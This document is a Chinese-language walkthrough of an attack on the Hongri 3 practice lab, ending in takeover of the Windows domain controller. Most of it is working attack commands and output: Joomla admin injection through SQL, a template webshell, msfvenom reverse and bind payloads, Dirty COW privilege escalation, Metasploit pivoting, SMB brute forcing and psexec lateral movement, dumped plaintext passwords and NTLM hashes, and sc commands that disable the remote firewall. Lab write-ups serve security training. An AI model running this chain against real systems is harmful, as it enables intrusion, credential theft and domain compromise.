环境搭建

本次靶场是红日3靶场,拓扑图如下,边界主机的ip和图上不一致。

涉及知识点:joomla、nginx反向代理、内网代理、psexec横向、ipc配合sc上线域控等

目标:拿下域控 192.168.93.10

image-20231112125559564

信息搜集

这里连的寝室wifi,设备有点多,就不扫c段了,直接手动确定web机器ip为192.168.3.64

nmap扫描

1
2
nmap --min-rate 10000 -p- 192.168.3.64 
#扫描端口开放情况

image-20231109205132509

1
nmap -sT -sV -sC -O -p22,80,3306 192.168.3.64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 20:52 CST
Nmap scan report for 192.168.3.64
Host is up (0.011s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 25:84:c6:cc:2c:8a:7b:8f:4a:7c:60:f1:a3:c9:b0:22 (DSA)
|_ 2048 58:d1:4c:59:2d:85:ae:07:69:24:0a:dd:72:0f:45:a5 (RSA)
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
3306/tcp open mysql MySQL 5.7.27-0ubuntu0.16.04.1
| mysql-info:
| Protocol: 10
| Version: 5.7.27-0ubuntu0.16.04.1
| Thread ID: 14
| Capabilities flags: 63487
| Some Capabilities: Speaks41ProtocolOld, IgnoreSigpipes, SupportsTransactions, InteractiveClient, Support41Auth, DontAllowDatabaseTableColumn, ODBCClient, SupportsLoadDataLocal, SupportsCompression, ConnectWithDatabase, Speaks41ProtocolNew, LongCol
SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt:
|_ 2048 58:d1:4c:59:2d:85:ae:07:69:24:0a:dd:72:0f:45:a5 (RSA)
80/tcp open http nginx 1.9.4
|_http-server-header: nginx/1.9.4
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
3306/tcp open mysql MySQL 5.7.27-0ubuntu0.16.04.1
| mysql-info:
| Protocol: 10
| Version: 5.7.27-0ubuntu0.16.04.1
| Thread ID: 14
| Capabilities flags: 63487
| Some Capabilities: Speaks41ProtocolOld, IgnoreSigpipes, SupportsTransactions, InteractiveClient, Support41Auth, DontAllowDatabaseTableColumn, ODBCClient, SupportsLoadDataLocal, SupportsCompression, ConnectWithDatabase, Speaks41ProtocolNew, LongColumnFlag, LongPassword, IgnoreSpaceBeforeParenthesis, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt:
| 6ety+:C-
| QP9\x0F\x1C%\x1C\x15\x01G
|_ Auth Plugin Name: mysql_native_password
MAC Address: B2:FD:FB:6E:83:20 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.16 seconds

从上我们获得的信息是

22端口 OpenSSH 5.3 (protocol 2.0),考虑可以后续ssh爆破

80端口是joomble框架搭建的,存在一个robots.txt文件,里面泄漏了一下路径,但是是不可访问的

3306端口mysql是5.7.27,该端口开放后续如果有密码可以考虑数据库远程登录

1
sudo nmap --script=vuln -p22,80,3306 192.168.3.64

image-20231109210752413

从nmap自带插件扫描中可以得到信息:joomla版本是3.9.12,和一些存在的简单目录

知道了版本信息,看看有没有对应的漏洞

image-20231112134424367

这里基本上都试了,都无法利用。。。

目录扫描

目录信息比较少,尝试用gobuster扫一下目录

1
gobuster dir -u http://192.168.3.64:80 -w  /Users/drblack/dict/directory-list-2.3-medium.txt

发现结果显示有些问题,设置一下过滤404和502响应码的结果

image-20231109211529648

image-20231109213252474

东西还是有点少,没有可利用的信息,再重新指定一下扫描的文件后缀txt,zip,php ,有一些收获

1
gobuster dir -u http://192.168.3.64:80 -w /Users/drblack/dict/directory-list-2.3-medium.txt -x txt,zip,php -b 502,404

image-20231109213707553

再使用dirsearch扫描,综合一下结果

1
dirsearch -x 502,404 -u http://192.168.3.64/

image-20231109214315017

发现1.php,是phpinfo界面里面有xff头的信息

image-20231109214641465

configuration.php~这里能访问,数据库信息泄漏. 账户:testuser密码:cvcvgjASD!@ (这里可以将改密码放入字典中,后续如果爆破可能会用到)

image-20231109224042933

后台GETSHELL

远程连接数据库

image-20231110201340322

这里可以考虑多种思路。一种是后台添加管理员账户密码进网站后台再找漏洞点getshell,一种是尝试直接getshell。

先考虑直接getshell,但是需要root用户才能有权限去写入文件.

image-20231112133624155

那么就看看能不能从数据库内容入手,查找数据表,看看有没有账户密码

image-20231110201419499

am2zu_users数据表中存在admin账户password但是加密了

image-20231110201600355

这里我有几个思路,1. 密码爆破 2.新建用户 3. 通过mysql数据库getshell

  1. 用户密码爆破

    靶场类机器密码一般不会是爆破出来的(后面就打脸了),这个可以后面再尝试。

  2. 新建管理员用户

这里有一种错误做法,在下面直接手动新建用户,这样的password是不符合的,他要经过一个解密过程,结果和password不同

image-20231110202201540

image-20231110205035747

这里我手动插入一直不成功,找到了官网忘记密码的操作方法

image-20231110205522773试试用命令插入看看哪里有问题呢

1
2
3
4
INSERT INTO `umnbt_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

name这里,应该是Administrator,之前写的Super User,超级管理员只能一个!

image-20231110205211788

插入group表,有一个是我之前手动添加的

1
2
INSERT INTO `umnbt_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

image-20231110205425841

添加后,发现还是登录不进去。。。

卡了一会,发现是表没找对!

image-20231110210811709

重新输入语句插入,修改一下对应表名称就行了,经过测试,这里把administrator账户密码直接修改了也可以登录

image-20231110210933113

进入后台之后,可以看看有没有后台getshell的文章

image-20231110212046129

1
2
3
4
5
6
7
8
9
10
11
12
第一种
官网下载joomla中文包com_zmaxappstore.zip,解压修改install.xml 添加<filename>>test.php</filename> 将test.php放到admin文件夹内,重新打包zip,后台操作Extensions–> install–>upload package file

shell_url:/administrator/components/{zip包名}/da.php

第二种
后台操作 Global Configuration- ->media–>Legal Extensions (File Types)添加php后缀,媒体上传即可

第三种
后台操作 Extensions–>Templates–>Templates–>xxx Details and Files修改error.php文件 添加shell代码,save保存,

shell_url:/administrator/templates/xxx/error.php

提到了上面三种方法,我们试试第三种

1
Extensions–>Templates–>Templates–>Beez3 Details and Files

image-20231110212301449

写入shell,尝试连接

image-20231110214008498

这里路径应该是http://192.168.3.64/templates/Beez3/error.php,和文章说的有一点区别

image-20231110213822463

提权

当我们想通过蚁剑执行一些命令的时候,发现返回ret=127,说明有disable_functions的限制

image-20231110214357361

通过查看网站的1.php可以知道,从disable_functions中可以看见禁用的函数

image-20231110214314411

使用蚁剑bypass插件进行绕过。

image-20231110215534834

制作msf的木马准备上线msf

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.61 LPORT=4444 -f elf > shell.elf

image-20231110221206505

上传后记得给执行权限

1
chmod +x ./shell.elf

一直上线不了,感觉不对劲

image-20231110223616249

image-20231110223628700

看看ip,和预料的完全不一样,麻了

image-20231110223657992

这里这种情况没遇到过,看了网上师傅们的wp才知道,这里一个内网机器,然后用了代理将外网那台机器流量

转到这台机器上了。

1
nestat -anplt # -p 显示正在使用Socket的程序识别码和程序名称。

image-20231110230052821

可以看见连接的是192.168.93.100

那下面我们需要找如何去到web机器上的方法,毕竟目前不能直接通信。找找txt文件有没有一些提示?

1
find / -name '*.txt'

image-20231110230945923

路径越短鱼越大,打开test.txt,发现一个账户密码信息

image-20231110231224225

用这个账户密码尝试ssh登录web端的机器。 wwwuser_123Aqx

1
ssh wwwuser@192.168.3.64

直接连接会出现一个报错,因为openssh觉得ssh-rsa加密方式不安全, 直接从8.8开始默认不允许这种密钥用于登陆了。添加下面的参数临时使用

1
ssh -oHostKeyAlgorithms=+ssh-rsa wwwuser@192.168.3.64

image-20231111110225737

登录成功,ifconfig确定了是我们想要控制的web机器

image-20231111110510648

用finalshell连方便传文件,

image-20231111113018483

成功上线到msf

image-20231111113724181

机器为linux 版本为centos 2.6.32存在脏牛提权漏洞,

image-20231111120136793

1
python -c 'import pty; pty.spawn("/bin/bash")'

用python生成一个交互式更强的shell,方便后续操作

image-20231111120906641

在本地执行后生成脏牛的提权代码。

1
2
3
git clone https://github.com/gbonacini/CVE-2016-5195.git
cd CVE-2016-5195
make

上传到目标机器执行,失败,貌似是代码的问题,看看漏洞库的情况

image-20231111121933193

选择25444.c来尝试,本地编译又有问题

image-20231111132107454

最后重新找了个脏牛的代码

1
2
3
4
5
exp地址:https://github.com/FireFart/dirtycow

gcc -pthread dirty.c -o dirty –lcrypt

生成特权用户 ./dirty 12345

image-20231111131504887

image-20231111131904620

切换到新用户

image-20231111132258317

提权成功!后来看到网上有师傅说的其实该机器不用提权,实际场景提权动静比较大,我们的目标是拿下域控,提权后无非是想要达到以下几种目的,该机器只需要帮助我们配置代理方便进行横向就可以了

  1. 添加管理员账户
  2. 开关防火墙
  3. 3389远程连接
  4. hash密码抓取

最后看看nginx 配置情况验证之前的猜想

1
2
nginx -t 
cat /etc/nginx/nginx.conf

image-20231112140004007

内网探测

msf重新监听

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
show options
set lport 4444
run

运行之前的木马(记得chmod一下),上线提权后的firefart用户

image-20231111132952385

该机器是双网卡机器,如果不给msf配置路由,那么后续的针对93网段探测是不能实现的,配置路由后,通往93网断的流量都会从session 4走

1
2
run autoroute -p                      #查看自动路由表
run post/multi/manage/autoroute #添加路由

image-20231111133633469

1
use auxiliary/scanner/discovery/udp_probe

msf的其他几个扫描模块都不行,只能用这个udp_probe简单探测一下

image-20231111134631788

发现93网段存在10,20,30三台主机

1
2
3
4
5
6
[+] Discovered NetBIOS on 192.168.93.1:137 (LAPTOP-O3LLQEKN:<00>:U :WORKGROUP:<00>:G :LAPTOP-O3LLQEKN:<20>:U :00:50:56:c0:00:02)
[+] Discovered NetBIOS on 192.168.93.10:137 (WIN-8GA56TNV3MV:<00>:U :TEST:<00>:G :TEST:<1c>:G :WIN-8GA56TNV3MV:<20>:U :TEST:<1b>:U :00:0c:29:1f:54:d2)
[+] Discovered DNS on 192.168.93.10:53 (Microsoft DNS)
[+] Discovered NTP on 192.168.93.10:123 (1c0104fa00000000000abaa44c4f434ce8f8a26ea5244dbdc54f234b71b152f3e8f99338712c7ee4e8f99338712c7ee4)
[+] Discovered NetBIOS on 192.168.93.20:137 (WIN2008:<00>:U :TEST:<00>:G :WIN2008:<20>:U :00:0c:29:ab:44:ec)
[+] Discovered MSSQL on 192.168.93.20:1434

分别是win2012,win2008,win7机器

配置代理

1
2
3
4
5
auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 1111
set version 4a
run

image-20231111142504070

一直断开,换为2222端口成功

image-20231111143352758

image-20231111143508689

信息搜集

使用namp分别扫描三个主机端口开放情况,端口的开放情况决定了我们怎样攻击利用

1
proxychains4 nmap -sT --min-rate 10000 -p- 192.168.93.10

image-20231111144058320

1
proxychains4 nmap -sT --min-rate 10000 -p- 192.168.93.30

image-20231111145434281

1
proxychains4 nmap -sT --min-rate 10000 -p- 192.168.93.20

image-20231111145446643

开放了1433,445端口

1433端口爆破

这里1433爆破的时候,这边shell就会断开。尝试了多次后放弃了看了wp发现密码就是我们之前准备的数据库密码。

永恒之蓝尝试

445开了,可以尝试永恒之蓝

1
2
search ms17
use auxiliary/scanner/smb/smb_ms17_010

image-20231111144523737

没有检测出漏洞

image-20231111145620580

看看10、20主机的 80端口,没什么东西

image-20231111152338814

image-20231111152551011

跑smb弱口令,跑不出来。换了很多个字典也不行。卡住了

image-20231111154913096

看了wp之后了解到,密码是123qwe!ASD,加入字典后能跑出来,30主机密码也是这个

image-20231111161405778

确定了账户密码之后,尝试通过msf自带的psexec进行横向

1
2
3
4
5
6
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set SMBPass 123qwe!ASD
set SMBUSer administrator
run

image-20231111170153791

连不上诶,又试了一次又行了

image-20231111170323659

两台机器的shell都拿下了,都是system权限

image-20231111170416483

接下来就稍微容易了

域名test.org

image-20231111170929858

域控上线

30机器抓取密码,没有主导域用户的账户密码

image-20231111172031819

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
creds_allmeterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain NTLM SHA1
-------- ------ ---- ----
Administrator WIN7 31c1794c5aa8547c87a8bcd0324b8337 128c0272959b85b330090611169d07d85cb6bd0b
WIN7$ TEST bb6b48766fb280d74babb50e781bbc21 4ebd2d435d946f95f31d5c16351791fea97e8f43

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN7 123qwe!ASD
WIN7$ TEST Xp:b4*hsKA*;!>;kdR2,_xtp?kPNozV.4<y:lcsCdtI73*n<M)&<GX0hY18?'FezvRL0SIOYg-9Q`K?2sh:w!lyL><H1&VNLKHYW0`emOz9geR4im!xBKodB

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN7 (null)
win7$ TEST.ORG (null)


meterpreter >

切换到20主机,获得域管明文密码

image-20231111171933572

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > creds_kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator TEST.ORG zxcASDqw123!!
Administrator WIN2008 123qwe!ASD
win2008$ TEST.ORG 94 1f 08 44 5a 0c 6d 4d dd a9 9d 09 7a d0 72 bb e9 81 69 7e 96 9f 78 74 f2 9e d3 f2 98 74 7a 2f 49 4e b7 18 01 e5 94 75 8f 57 11 44 d4 31
17 92 25 2a d4 96 73 36 95 87 ec 34 e8 96 74 8f b6 0a ef 05 17 af 2e 5b 08 f7 6c 4e ad 9c 3e b0 e1 c8 2f 8f bd e3 b2 e7 81 17 09 96 f6 75
b5 0d c1 e1 61 07 d2 a8 99 e5 5f 7d e9 0c 76 a3 7e 51 e5 f1 d0 f0 da c5 0c 88 d0 1c 59 34 b9 3e 14 ab a1 7b 56 cd 9d 67 d3 19 c7 ad d9 b2
8d 72 e9 2a c2 d0 be ff e7 e7 d2 60 85 9a 99 74 8c d5 0a b5 1c 58 31 28 de 15 51 36 58 8a da 3a db 61 5d be f9 d5 b8 a8 5c fe 19 06 f6 ac
ac 26 6d 22 80 e3 f4 f6 49 f8 92 78 9b a7 36 6d f7 c4 10 a3 8e 19 83 c5 84 ff 3f fc 9c 35 81 2d 35 42 8a 30 5a 7e ca ee 3f 50 0b c8 c6 68
a8 24 cc c0 52 5e b8 37 30 b7

那么猜测10应该就是域控了,尝试用psexec直接上线10域控

1
2
3
4
5
6
7
8
9
msf6 exploit(windows/smb/psexec) > set rhost 192.168.93.10
rhost => 192.168.93.10
msf6 exploit(windows/smb/psexec) > set smbdomain test.org
smbdomain => test.org
msf6 exploit(windows/smb/psexec) > set smbpass
smbpass => 123qwe!ASD
msf6 exploit(windows/smb/psexec) > set smbpass zxcASDqw123!!
smbpass => zxcASDqw123!!
msf6 exploit(windows/smb/psexec) > set smbuser administrator

这里psexec域控总是失败上不去,那就考虑用远程桌面配合sc服务上线

开启30主机的远程桌面

1
2
3
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image-20231111195835925

本机配置全局代理,走的是本地2222端口(之前msf设置的1111,但是后面连接断了几次,重新设置过)

image-20231111200453198

image-20231111200421919

成功远程桌面到30机器

image-20231111200433680

建立ipc连接

image-20231111200733630

将msf的正向木马传上去

image-20231111203706708

image-20231111203555819

image-20231111210803047

弹不成功,本地测试发现文件打不开,x86和x64都试了还是不行。

image-20231111204933334

不知道是有防火墙还是有杀毒,先尝试利用服务关闭防火墙

1
2
sc \\192.168.93.10 create wall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start wall

再次利用psexec横向尝试

1
2
3
4
5
6
use exploit/windows/smb/psexec
set rhost 192.168.93.10
set SMBUser administrator
set SMBPass zxcASDqw123!!
set SMBdomain test
run

image-20231111205432905

成功上线域控

image-20231111205714902

远程桌面上去看看,确定结果

image-20231112145828824

拿域控还有很多方法,比如当psexec不可行的时候,直接通过impacket工具包来,或者wmiexec也可以

纠错

之前sc命令不能运行和exe无法执行,是因为下面的LPORT中我少写了个T,导致生成的exe错误(这里在mac里面不会提示命令错误,但是kali里面会提示,麻了)

1
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.3.61 LPORT=4444 -f exe > win64.exe

image-20231111212412909

修改后重新用sc服务就成功上线了

image-20231111212710750

参考文章

https://xz.aliyun.com/t/10057

http://myblog.ac.cn/archives/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA%E4%B9%8Battck3

https://xz.aliyun.com/t/9757